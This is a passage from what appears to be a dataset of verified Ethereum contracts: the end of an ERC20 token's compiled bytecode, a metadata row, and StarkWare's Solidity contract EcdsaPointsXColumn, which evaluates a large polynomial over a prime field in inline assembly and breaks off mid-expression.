f16815260200190815260200160002054905060006112a56116b5565b905060006112bc82856116d390919063ffffffff16565b905080831015611317576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611afd6026913960400191505060405180910390fd5b600080600061132587611759565b92509250925061137d84600560008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ef90919063ffffffff16565b600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114246113d686856116d390919063ffffffff16565b600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183990919063ffffffff16565b600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061147c86846116d390919063ffffffff16565b90506114f28160056000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183990919063ffffffff16565b60056000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061156c87846116d390919063ffffffff16565b90506115838160095461183990919063ffffffff16565b60098190555061159e83600a5461183990919063ffffffff16565b600a819055506115b9816008546117ef90919063ffffffff16565b6008819055508973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505050505050505050565b600060085482111561168e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b6c6025913960400191505060405180910390fd5b60006116986116b5565b90506116ad81846118c190919063ffffffff16565b915050919050565b60006116ce6001546008546118c190919063ffffffff16565b905090565b6000808314156116e65760009050611753565b60008284029050828482816116f757fe5b041461174e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611b236021913960400191505060405180910390fd5b809150505b92915050565b60008060008061178660646117786004886116d390919063ffffffff16565b6118c190919063ffffffff16565b905060006117b160646117a36002896116d390919063ffffffff16565b6118c190919063ffffffff16565b90506117c682876117ef90919063ffffffff16565b95506117db81876117ef90919063ffffffff16565b955085818394509450945050509193909250565b600061183183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061190b565b905092915050565b6000808284019050838110156118b7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061190383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119cb565b905092915050565b60008383111582906119b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561197d578082015181840152602081019050611962565b50505050905090810190601f1680156119aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290611a77576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a3c578082015181840152602081019050611a21565b50505050905090810190601f168015611a695780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611a8357fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365416d6f756e74206d757374206265206c657373207468616e20746f74616c20737570706c7945524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220fffc295be0ed2ff301192a64dcd5802b7bb3b773c48ce195b0306dbb001ef44064736f6c63430007010033
|
{"success": true, "error": null, "results": {}}
| 3,928 |
0x52c4bb16FbA75f6EBD672568267BC334255Fb3c5
|
/**
*Submitted for verification at Etherscan.io on 2021-02-23
*/
/*
Copyright 2019,2020 StarkWare Industries Ltd.
Licensed under the Apache License, Version 2.0 (the "License").
You may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.starkware.co/open-source-license/
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions
and limitations under the License.
*/
// SPDX-License-Identifier: Apache-2.0.
pragma solidity ^0.6.11;
contract EcdsaPointsXColumn {
function compute(uint256 x) external pure returns(uint256 result) {
uint256 PRIME = 0x800000000000011000000000000000000000000000000000000000000000001;
assembly {
// Use Horner's method to compute f(x).
// The idea is that
// a_0 + a_1 * x + a_2 * x^2 + ... + a_n * x^n =
// (...(((a_n * x) + a_{n-1}) * x + a_{n-2}) * x + ...) + a_0.
// Consequently we need to do deg(f) horner iterations that consist of:
// 1. Multiply the last result by x
// 2. Add the next coefficient (starting from the highest coefficient)
//
// We slightly diverge from the algorithm above by updating the result only once
// every 7 horner iterations.
// We do this because variable assignment in solidity's functional-style assembly results in
// a swap followed by a pop.
// 7 is the highest batch we can do due to the 16 slots limit in evm.
result :=
add(0x5d4c38bd21ee4c36da189b6114280570d274811852ed6788ba0570f2414a914, mulmod(
add(0x324182d53af0aa949e3b5ef1cda6d56bed021853be8bcef83bf87df8b308b5a, mulmod(
add(0x4e1b2bc38487c21db3fcea13aaf850884b9aafee1e3a9e045f204f24f4ed900, mulmod(
add(0x5febf85978de1a675512012a9a5d5c89590284d93ae486a94b7bd8df0032421, mulmod(
add(0xf685b119593168b5dc2b7887e7f1720165a1bd180b86185590ba3393987935, mulmod(
add(0x2bc4092c868bab2802fe0ba3cffdb1eed98b88a2a35d8c9b94a75f695bd3323, mulmod(
add(0x22aac295d2c9dd7e94269a4a72b2fb3c3af04a0cb42ed1f66cfd446fc505ee2, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x44a14e5af0c3454a97df201eb3e4c91b5925d06da6741c055504c10ea8a534d, mulmod(
add(0x749e86688f11d3d0ef67e4f55535c715a475ceec08547c81d11de8884436d8d, mulmod(
add(0x703dcca99c0a4f2b2b7f1b653dbbf907dd1958c248de5dcb35be82031f7d170, mulmod(
add(0xb0e39f10e5433b2341ecef312e79ed95d5c8fe5a2e571490dd789dad41a2b9, mulmod(
add(0x52e5e75be2c96802a958af156a9e171dc7d5cfa7f586d90ed45027e57c5fe92, mulmod(
add(0x66d15398bbd83688bda1d5372e048536a27d011f0f54a6311971822f55f9c07, mulmod(
add(0x529414d56e9f6bf4ce8be38c8f79ffab78b185da61d606c411098f981f139a, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x7fdc637318ea00385719f9ce50848d13cc955eef9f36a90b87e646dac85e3aa, mulmod(
add(0x39d9d83e0ac884a5ee0f2d227f9eda71724a55002a41938458e45251e121308, mulmod(
add(0x785dc572a88712cb4eddcc8a167bb1b62f9a79282f21ee92a0374af76169344, mulmod(
add(0x1d0f94ce5d9d3beaa42ebed05a2f172aa2227e9a9fee0bf43a3fb068c1ac345, mulmod(
add(0x51170abac6896de6a5b478741dd56f52b1d2a1feea59b1f26d060e09ed98b32, mulmod(
add(0x5e2909b1136e1d6608663e5cbabb616b28d2fd6f5dfb7cd03c4a7e719b7c53f, mulmod(
add(0x6cd537aebc479350e63acbcf7b9da84f4b06c6c26a571d3a7dd416a94a956ca, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x2d626ebcfae2d3618e350c190fc636495fbb04dd4a4e563680fb961a3d30d8, mulmod(
add(0x6f4ab1f3bccea47669a4c93da36db05bd6f5197945b5ab29191a703312ed3a8, mulmod(
add(0x3ca8d84242dd2bd2a5d6e644fa1dc9f5082ee6131b6f0db8fd7d4f87109098b, mulmod(
add(0x5b0343972ee9e17afaf76adc54e6797d54e6e47a7ea1167654ce076e3c6c360, mulmod(
add(0x62773dee1773834dbb324c4c0d48dcdf9bbf0511547feb1b2ab0f7af7fa2dc2, mulmod(
add(0x4c484b2cc04747d8d812180ec716f779302231983fa17971b575274c0a9c378, mulmod(
add(0x72d82458ba49cd6c638f89d2e3a68e49944f486cdfb7d2848e51aa9f99292a4, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x7850ac1ef437d1b99c026a910b2437c1b877242e605c8f31a456f10e2f78743, mulmod(
add(0x58a6d8229d82c192f190e55d28489f621cbcc64e4ef10c1ec5663c5384e60f, mulmod(
add(0x98ad9c2080ba0663fb302025e6224cff41d1d30c5c9101ad77a48a71d8ac, mulmod(
add(0x4f8cecab5f743c7227a63fa7f320930ffa7cc52b0fff6c351d3e9d4c22f9f9a, mulmod(
add(0x150c633a21f3cfa157978e9561161f3953e180b9588347a0c819e4173afcfa8, mulmod(
add(0x34b7ebee71c5876183407c57610a0a8a33d3138ccd6ae416651cd505e5761d9, mulmod(
add(0x42f0a74ce045e8194b7a5cac4e882b1f1a9face49c38fb3383cfd3d960806c, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x70af32c484244d3435bb65b0ed076f48d06abb45b7765de9c6f26c1c8e9156d, mulmod(
add(0x75275c33b919425b271966642fabd9ea7c917e70e96eda669040935b1d49db6, mulmod(
add(0x7122e4b28d4ee35902b7f7b8ad5f525b6c70a2f2bb6b4ee4b9f0008845ffacf, mulmod(
add(0xc1bbae3cf2d414dc12119a0c746e3c10e148f8b522d574eff757d44d8b3a14, mulmod(
add(0x38ada3df52cd03154d66b7da4a8a01835a461e61a76ac9576649d8c00013610, mulmod(
add(0x95fd265a2a87c42af5a20a199e6730ee3f0e3352a38a5e7e84ef46c621903d, mulmod(
add(0x337092590652e19c23b48de3629ae0bd4157a5a72ecd3fcd17bb93f05814716, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x5643c5a69044bb8e86d10d3248ea3f50f8598732b0c517b256fe108294e09f3, mulmod(
add(0x552e18bfefab6c3362cec587f0a7433a914f1359e5767b4fe883f1ad902dd13, mulmod(
add(0x3a2a902a0e43ab33c19459984fe116fb215796cb40c48e254de6126b55e9c3, mulmod(
add(0x6925415cd4dbae0ea5e9f41edcb503ff6f668da1cb13ec73eab6a99cd96752a, mulmod(
add(0x412fcd2551c0516392f685a62b54fb82b9a73bcffd42abecea4482b65aeea47, mulmod(
add(0x55713c4cc9f91e9f158f70683238853d0bb7cbd8358ff72b01fb60808b5c1de, mulmod(
add(0x47c78a993a13204796a2fca3b20c0f02c0601e7cc59f84570fa026c65796dc9, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x1f7d548c5a6f2bc70ff6f8ee47f38221ae25dcb4f9b068054ee66227494f87, mulmod(
add(0x224fe4f546c8f999947a5864ed0dbcd64fcac6f774ebce11667c2bbb7d8603, mulmod(
add(0x6dfc1fb08b981f73911dc43811caa0ed99749c2f0903f87f389c9a0e2a88126, mulmod(
add(0x1a4393bce3924d765902469c715fedeea69adca566859b4c8c412b7d7cb566d, mulmod(
add(0x57d53073d66a528c88f24e40011321f74ce5bdbecd6ca319e5e770ae29b21da, mulmod(
add(0x2a2811098d68a747bebe9ca2eae06b604bb307e5f51a9bdac1636f380feabb5, mulmod(
add(0x542f931640d9010e906b7e1e375cd0481740157eb51500ea1e10afe77f26265, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x268c1e10f6f9969291b1d2f54289371a2f40a14cc67b3736e04eb891c1824ed, mulmod(
add(0x352b933e5d853527d2a4317db613d07117fad8115948957515bc07d72e161f5, mulmod(
add(0x44e3645cc1b135410b2a52a5b92bcb454985033615453a51ac46377885c4309, mulmod(
add(0x27092905558602aec9af09947b70bb974caa3dd7cb1cb991810e15d75194aa6, mulmod(
add(0x14ac38a4b82b4c65e4993726b58f32c74988997b8e8f7729fe9032cf187896d, mulmod(
add(0x66ec70c796374a71b6aec5520467ebed547f645d1670b990dfa680a1b415cd, mulmod(
add(0x735f4476c2b51acb4f0dd9dbc4306108e37543538b2cd3cd2327ae5377a2e5d, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x6b86f825e41b2c9934f71cc2cb08787d1bd4f2eefd2be9c44e37bf387b35940, mulmod(
add(0x699e679a8f38a1ecb14c6695a2848c6abbab8a05003e43aa5cf4a9c6e6058f2, mulmod(
add(0x40a3ea8c4059a1b9138884234381d6d383e66dd48eac1bf05f5fcddd593c881, mulmod(
add(0x356591a80d5c2e14c3d8a180c030a9529a8580a4f3be00a5a9eea83d0d585f0, mulmod(
add(0x106911de08ef437acabf58d178db7c81ff4d7de25f3ef5cd2582f44176d449e, mulmod(
add(0x67dec5ad6ddb1761ec61d2820533f7a2bb56d66f2fb8ecff9cbe28218990061, mulmod(
add(0xaa81707e389769aeb31cc8b45276af0370dd702ac79461bae0a4078cefb5df, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x164344bae5b9dca8f384612e7351fecde28adee3d245c98dc2f65509b181d8e, mulmod(
add(0xe5e89fde76daa211fadf1178785f0c25a94d47a468cda257a895b871a928c2, mulmod(
add(0x20ffc2b4c6c318bee0cdfdca40b2c10f2c629d3b52472b17c1bfd909cb7b85a, mulmod(
add(0x781cf0ea1c0ba9cf908656aa2c5a9403d54c26c8ece401a2c13be8d3090f9c1, mulmod(
add(0x367ea925556a875faedf4d61bd2a95a31067bde6e682c50035bb3310cc54b03, mulmod(
add(0x7b0ed28b968689517aaa216c0203e57f1cf56b22ff1213561499ae140d37fa2, mulmod(
add(0x4eb2786b11bc602bbf773564eb9b057d7dc02daaf4359c015295d97b74e72bb, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x5dd4b3dd252fa7eda7b46674369a2f8c5b00a891cf01ada0ea5aada8bfbf6d4, mulmod(
add(0x62334e7d6094be4431aeebefc420f7e656459d6fc2cb10455123ede054f4cdf, mulmod(
add(0x64c71feb673d2655bb1865f9c4bdfb16b1bcd0f278a911363056674dacb812f, mulmod(
add(0x7a5d11f284ee7db72bed2338784d6467e05cae85f333e05c5610c018a57c2a7, mulmod(
add(0x72c11bd84cd54152607e4c6e558a28e480a6487e374b865682c167484f8c29b, mulmod(
add(0x546f65cf3367a004f10e9a4e47d71f6ec80086cb2be19d7b225825e01eb323, mulmod(
add(0x4063a6202df9488fe5384aaf7be7610b3e88a9c01486c1b88767ca36355340, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x741b0f4e1bf8ed4d6318f5dc5ebba8529089f5ef4a84cd727564c60cc11a96f, mulmod(
add(0x767d8839373a2e97b7e3de1be6f4c18df648806920e92fcc4da9ab6bd8525ce, mulmod(
add(0x45ba7e524d75c65ab27b57a6e0b90458c9b0eb651935f84898a5d3cd0db9b8e, mulmod(
add(0x24327b5849aaae0d313870c10e8010a115b70a99cf6b92925f51d2f05686287, mulmod(
add(0x16f35b8d34d425a85fe48e66632d3e4af27d5d65cb180cb99047fdc2b908ea6, mulmod(
add(0x42a6c571001e263b1ec8168805bf4d6cb65935cd0687c696ae3a6968fd28378, mulmod(
add(0x3373dcd7d0f0f8bb31ec396e1ec67e1f121121356dba549bce9fd4d3bbfbaad, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x3a967c407600baaac716275b8fa16a08c22e928d895c762b2843d00496b3390, mulmod(
add(0xac01d3129d24fe9b9209df8bfeb2526bc27e9c27d78f69eac16ce151b13540, mulmod(
add(0x29a66c93ef1fa5ac4b6f96ed329810085b294a7ab8e16c61b1e225fd7406236, mulmod(
add(0x327bd35b3ec38fb121c039f777669426d3d60df3922e688a408a06d4e7ee3a1, mulmod(
add(0x5d6575134d1b37e610f25e65bc8b0b1ad7fd0cdcaa56fe573142a09707640b5, mulmod(
add(0x68edfc809bfa6534b583624db421a2cb885d2ce888e6f95eae85ad9cb38249d, mulmod(
add(0x68682814e1b4dd639cf396a9f60efe5ca035c6ccd75054b8911e8a15230efa7, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x2c82b2a99d198138ca2c4229a1929d044b113c1b0f693659712318ca7e7f804, mulmod(
add(0x21df6648e6f783b7361a20191b8d399a4373dcbcc83f6b4a9a40bf11956219c, mulmod(
add(0x7a615360e826e937db0c91cc1c9196086a3fd608cb01d20186ba1ce856904ed, mulmod(
add(0x580bd7107af3afc93d0cfd1f0bd39f78f06ebe3a900f5d79943c25e980e5653, mulmod(
add(0x3abd943152451107f59aa81194e7bbbe37c4a86a6b41e20a02f8145dd32fa87, mulmod(
add(0xa8a00bb9874fbb44ee3411814dfb9d4d6048f5e3af6f7f09fff4e9f0263901, mulmod(
add(0x4d111629c799fb16f602183ae372aee382e0b401312951eefe77a1674575242, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x51f4698c121db3db4a5244334c5180cfba256dc80a59689e2c0f1f8d946e6c, mulmod(
add(0x5ae517bdefe7b6785680842685de0b5cd972a22dae9ceb50a6ea3665feb06f0, mulmod(
add(0x46efbcd0bd7f06d59a430ddeb9f239d66a24ce1fa72f5dbcc2bab48b707b2dd, mulmod(
add(0x164d44fb88efb41e301934bf2c61a20e41c9bcb3f8e784ac5857063b4fc3d5a, mulmod(
add(0x3360af40b57c0a951da3219025643a76516f85119dfbb05f61874eb3b56b130, mulmod(
add(0x1e54c3a5a3beca7932090ff58784aa43261075950feaab0e2a840f3801b81b9, mulmod(
add(0x6dd74321080cc46d816a963c8a6f5dac42cb11e66c79831efba77433cce0d23, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x6f682eebabbcbfa3e7084b47b2a01acb693865749df222b4b8dee0ec41903cb, mulmod(
add(0x5fa6f7f2a7a527880a5b58911dd7f3a491fc702f481cee30e67c4980092f851, mulmod(
add(0x1a36f20817da4dc0c2e8b62fa08ce15cd3cb50419acf5211d6948bd6b28c8ce, mulmod(
add(0xdb0ad3bd8a33b8daf1d53ff8604bbe5259b6620e3b547d5c6f392dbc10ccd5, mulmod(
add(0x44be18892438118a0b3fc099da7489a89cffd4206678abfd37b1e649ad19178, mulmod(
add(0x3dab30754623b91aec7a165cc167e9003269ebab3e551781e4c8cfb73402de7, mulmod(
add(0x67d2681fae96c0b4bf22d10a73a1882c5bf4a5440f8d0458394d514ff7bd18b, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4182bea2ea16dcacb0194876cd5fe8c79e1a55836aff8aa6074d235af5f7b29, mulmod(
add(0x2300892e3f3c180333d091901ba99ab9e23c7947309b9e88ad47025847ec3a0, mulmod(
add(0x23f0124cd1c3f3605fa1ec36dc4d6cb6e229f8ba8998b138a44595f96f3bf21, mulmod(
add(0x3054d35b59baf5b0a2078c23322de031b383033837cd6b978b6c060120b7fb3, mulmod(
add(0x34369f479f013d44dd5bb0d79d8a9effdb2ca36ce8b3d7e759bf707233c5bbe, mulmod(
add(0x7172b43d0c88348e5453b0b26d54d4a7ad7e99e6b0c4b787341c8d89936197e, mulmod(
add(0x1fd7088411b30cb5762147b1d6749942485b36c68ea32f60ab83fdcbe987d83, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x22a7b1c897f54da39a1db61b345b234969e36ef6ba0ea02f8d8b3e83b5c6242, mulmod(
add(0x734438bc30566591da45df9366f936415d29eaeaeab392488bcccb9acf0edcf, mulmod(
add(0x17626d3869adf0fdd3fedd48e9fe1266bb33419bfe9046df43c6409b440980e, mulmod(
add(0x2bebc90c59dc0e37e28c7c7d8254520ce08894637bf1a089aed26012690d119, mulmod(
add(0x2693f31fd4bb5a1ef9cacdc4f2b33c3d6d965b76e7bf289020ab1b6c6660d70, mulmod(
add(0xc37f91c81a7006d6681cb511dab2e4d83928ccb78d1dc72c4c556e4cd72db8, mulmod(
add(0x50f3e383aaf3533fc91b9633386542798abd69b79af893f47f6603d3cc35ea4, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x17f2709d2719458a9bf72a2b04463f0a6529fd9368a47715c628ba4e006cea, mulmod(
add(0x4b540d0085be455b24f014bf51dc7d0eceb8c93bb644a5208fa02dc58c718ae, mulmod(
add(0x1b1c82e5c561dc42f8c9c2a9f7db6bacd729b2646892a8ecfae9ead9a338aa6, mulmod(
add(0x375ce3766894524209e2043a150f10ad0bf4f726e3dc5453c3c757e56943a51, mulmod(
add(0xb10494024548b14df121b738abc7babe56c12acc0490699443426a52f3a4f9, mulmod(
add(0x193185be6e02dc0a07c0dced4ed031bf0a406219cce325e76408123406c318b, mulmod(
add(0x22eef827b9d0b57649233c5d527b4641decab31df78347a20da21c705df093b, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x56017977a273ad0e91c7c26a702ae4508343e97968295b08447b3cc7f20522f, mulmod(
add(0x4efcba706a8b7868e32f363efac2696ad0625d046a3ef97917c710515016386, mulmod(
add(0x31d335bd885c9cdf2adc68ab45b8eecd2d3588cf85b93206896b2626eb1e369, mulmod(
add(0x7ba5194da963f8224987db2720f16baa604ff62351e66a63c0c9dba00fbc7c4, mulmod(
add(0x4d3b0654fd74862a92aa716af33b5ad5ac20dc0460c724d95ca94fe6d8a9d7e, mulmod(
add(0x29cc816e6be353f6ad5e2c390f37ed3940b0dd67610a7eeb0bcded94bdcf920, mulmod(
add(0x20e468bb2828fb774d5ab538ff7f93ada201c2e392936e05cec29cd5a7a462d, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x6e1143b147dd1bcc56dd43e6a3616c9a4016d6887cf0009ebf9f9796efc944a, mulmod(
add(0x4f9e975176d3aacd79c322d013c854c4b8829d1e469c9b242461f35e8dc6fed, mulmod(
add(0x88f6e5a835dfda9fa2e2ff248d9378352f4a89b6bf5935700da390baebadb7, mulmod(
add(0x62fc206aa283139f7451e54cdac873fe86b6e7e89214a3c0318fbcaf6016fa4, mulmod(
add(0x1b389d976c22a3bfb42424896c9b135a3794048724c729968f81e04ce414194, mulmod(
add(0x4237c41364975eb79919303fc0a381b934befe871fdbd72c18f97627292923e, mulmod(
add(0x16416cc193a5ced6ff213fc18c86bd6f08d17c576f26b9ebd00d2653bbd6444, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x58f2e18613b3b25529935a623e7d5c8318ca9ff3fb180f16f7454ca9e348e35, mulmod(
add(0x2830a6edb344b7fa86506557a0b2b0bd900429218fb35e7990951fe4fe869c6, mulmod(
add(0x1f573af6e3ad146eeaa582f540de6a8db237ff2f28423660de998a4275bf4d0, mulmod(
add(0xdaf5a68420fa7ad811f6dc75c5b4e92173a5d89255dc75accb8cec80a9cd91, mulmod(
add(0x59cd87f8751437900e984a009c63fdf7461b177067760f30d4f648ab271660a, mulmod(
add(0x60c327ef73c8468805ecace45a33ccc375fc91ffbf01b4b10a01ffd4b7aaefe, mulmod(
add(0x284c547c04ca83fdb01020cfc797eb362838317f09e5d25e1e4eef353ab7a7f, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x16617a52bfe5d2fd0eedb0d6411f5fafeb14a4ac17da0cc828c914acb500ce9, mulmod(
add(0x3030332e9cf430f72159914e59ab9af532bdfdafedc1be39691256c8084954e, mulmod(
add(0x2b2a0768e9a5f59e7f33ea449690794c8b409bacd1c808f7ee8065ed9d8648c, mulmod(
add(0x13fe84c8ecc2e3fd289560c0ada7a251fdd5fba24c076be4be465feec4262e6, mulmod(
add(0x413fda31150aa8462deae8a6043fc5624599fb7f638c4d5c5f89472e1223c28, mulmod(
add(0x50d603bf9c2a456b828ae476092affde072ecd878877ec3f99ba8f574d263a2, mulmod(
add(0x42c8f0b5507417eb48ffeb1a7df8808633f193c27df8e2f44ee7bd62cb2c3bf, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x511c0ad7c0bfdcfcfaf925895a8ef5e8c5e0d147e29c9cdae45fbc998fce346, mulmod(
add(0x62d6874b6dcb1c4dc8ed797b9158da4359c6c49f27af4851a12908ecad2092e, mulmod(
add(0xbffb0e4f7ccfff0cee519edd1004eefbc47024f92c4409bbdf688c133ad285, mulmod(
add(0x3f3ae3871460ac578f5030d925e91c138f3290f8f3cb6d4b560b4b16fbacd64, mulmod(
add(0x520b18e79de342aa7095ffe56be6222b0d2e44fc3c676a5c994f24e427b45e2, mulmod(
add(0x3939ef0e572dcc3b67f0cb819fffc521df26e50814281621fa6982b1465f786, mulmod(
add(0x553f8ab49053432bab53835480b6f4c416eeffb3470fb6bcf122741cac3d71d, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x508243aa19e23cdb8ca0154055c05130462908c6a2691ae522e37ab9d6168f2, mulmod(
add(0x28f86fe2d71f9410e14c17195ae19c2c5e623c525c979f4f74dec3ef8848eb5, mulmod(
add(0x475f8af086f7aa4ec3739f754f7dd291dc50decc7c7fb03de8aee3cf06824f, mulmod(
add(0x1cd528d070930aef19e0f928fc744e79ff57e227b6aa1bbfce15a79166aefd8, mulmod(
add(0x19cf240d04f4859941f9b6af4a7088729aa10307cd08aa75f01cb22e872543d, mulmod(
add(0x3cf3b95ba351a72019ed1bcadab32116adcf079e72800a9d88f15244e7743e0, mulmod(
add(0x25199c11f7193e07191cd9b9108aa8b440ce1972dd1cbe5f0cc33b7783203a8, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4acd125e74056ca611a1b07369166eb5c02af7a4cbf387b2bd584a362fa9e60, mulmod(
add(0x4d8d9b92b38a45147bc9c87c071672edd93cbf5bdc8d85e608f26f1d82d172b, mulmod(
add(0x1d6cb5a655919a581078aa2f8a21d300425026ccd7d047302443d78dbc67abd, mulmod(
add(0x44147236daf669f8a94b7ea353c3dd7e64312ece01ccc1d4dad67916591d50b, mulmod(
add(0x19a0ff21908842e412addb744b0ca384a54bdde819f6337c4c672f682fea9cb, mulmod(
add(0x66336e2e2eeb939818f861fa4aa9b2576936470f511786f8fa3417850a6c2d, mulmod(
add(0x37cf9640e321e7bccf1926d5fea92918d6888c5805e27193722995233a4adc5, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x589a2e11637d0c90fe91bb9f4d55a80cd1a2df7f3431e8b8bdce8fe7d35126c, mulmod(
add(0x3e09706cb43c83143c9dc46f97e0e1ab4327de19ced69badaa8b2c80f68fb9b, mulmod(
add(0x24adf288d61c113e28d9a298d2642eb67586019adcb952abf274ebe1d30e24a, mulmod(
add(0x1c1216fe648d287c2645dfc5152e171f25483df5ef112b745c2e59b5d9ee07c, mulmod(
add(0x4758304a75f149e24563c2b22459151389b86d36108f5dfe11ea1fc7a64fd7, mulmod(
add(0x1f27c20f47daaf01d4627d5e9bee0e9bd2aa5b75807064cd60ed87e307f677a, mulmod(
add(0x3b4fdc8d965de1761e445ee88cb406f707f9d0b1ea3c069d12084c0ccba9b44, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0xab2147a23a826d5f7c6fea5bf889eaafb5531721f31ee0a9f02fd58f09f65c, mulmod(
